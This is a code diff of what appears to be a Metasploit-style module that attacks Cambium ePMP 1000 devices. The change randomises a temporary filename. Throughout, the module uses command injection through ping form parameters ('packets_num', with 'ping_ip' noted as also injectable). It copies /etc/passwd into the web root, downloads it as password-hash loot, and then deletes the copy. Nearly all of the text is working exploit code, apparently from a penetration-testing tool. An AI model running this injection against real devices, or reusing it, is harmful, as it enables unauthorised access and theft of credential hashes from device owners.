@@ -47,7 +47,8 @@ def run_host(ip)
47
47
48
48
# Command Execution
49
49
def hash_dump ( config_uri , cookie )
50
- command = 'cp /etc/passwd /www/'
50
+ random_filename = Rex ::Text ::rand_text_alpha ( 8 )
51
+ command = 'cp /etc/passwd /www/' + random_filename
51
52
inject = '|' + "#{ command } " + ' ||'
52
53
clean_inject = CGI . unescapeHTML ( inject . to_s )
53
54
@@ -66,7 +67,7 @@ def hash_dump(config_uri, cookie)
66
67
} ,
67
68
'vars_post' =>
68
69
{
69
- 'ping_ip' => '8.8.8.8 ' , # This parameter can also be used for injection
70
+ 'ping_ip' => '127.0.0.1 ' , # This parameter can also be used for injection
70
71
'packets_num' => clean_inject ,
71
72
'buf_size' => 0 ,
72
73
'ttl' => 1 ,
@@ -85,7 +86,7 @@ def hash_dump(config_uri, cookie)
85
86
res = send_request_cgi (
86
87
{
87
88
'method' => 'GET' ,
88
- 'uri' => '/passwd' ,
89
+ 'uri' => '/' + random_filename ,
89
90
'cookie' => cookie ,
90
91
'headers' => {
91
92
'Accept' => '*/*' ,
@@ -104,13 +105,13 @@ def hash_dump(config_uri, cookie)
104
105
)
105
106
106
107
if good_response
107
- vprint_status ( "#{ rhost } :#{ rport } - Dumping password hashes" )
108
+ print_status ( "#{ rhost } :#{ rport } - Dumping password hashes" )
108
109
109
110
path = store_loot ( 'ePMP_passwd' , 'text/plain' , rhost , res . body , 'Cambium ePMP 1000 password hashes' )
110
111
print_status ( "#{ rhost } :#{ rport } - Hashes saved in: #{ path } " )
111
112
112
113
# clean up the passwd file from /www/
113
- command = 'rm /www/passwd'
114
+ command = 'rm /www/' + random_filename
114
115
inject = '|' + "#{ command } " + ' ||'
115
116
clean_inject = CGI . unescapeHTML ( inject . to_s )
116
117
@@ -129,7 +130,7 @@ def hash_dump(config_uri, cookie)
129
130
} ,
130
131
'vars_post' =>
131
132
{
132
- 'ping_ip' => '8.8.8.8 ' , # This parameter can also be used for injection
133
+ 'ping_ip' => '127.0.0.1 ' , # This parameter can also be used for injection
133
134
'packets_num' => clean_inject ,
134
135
'buf_size' => 0 ,
135
136
'ttl' => 1 ,
@@ -138,7 +139,7 @@ def hash_dump(config_uri, cookie)
138
139
}
139
140
)
140
141
else
141
- check_file_uri = "#{ ( ssl ? 'https' : 'http' ) } " + '://' + "#{ rhost } :#{ rport } " + '/passwd'
142
+ check_file_uri = "#{ ( ssl ? 'https' : 'http' ) } " + '://' + "#{ rhost } :#{ rport } " + '/' + random_filename
142
143
print_error ( "#{ rhost } :#{ rport } - Could not retrieve hashes. Try manually by directly accessing #{ check_file_uri } ." )
143
144
end
144
145
else
0 commit comments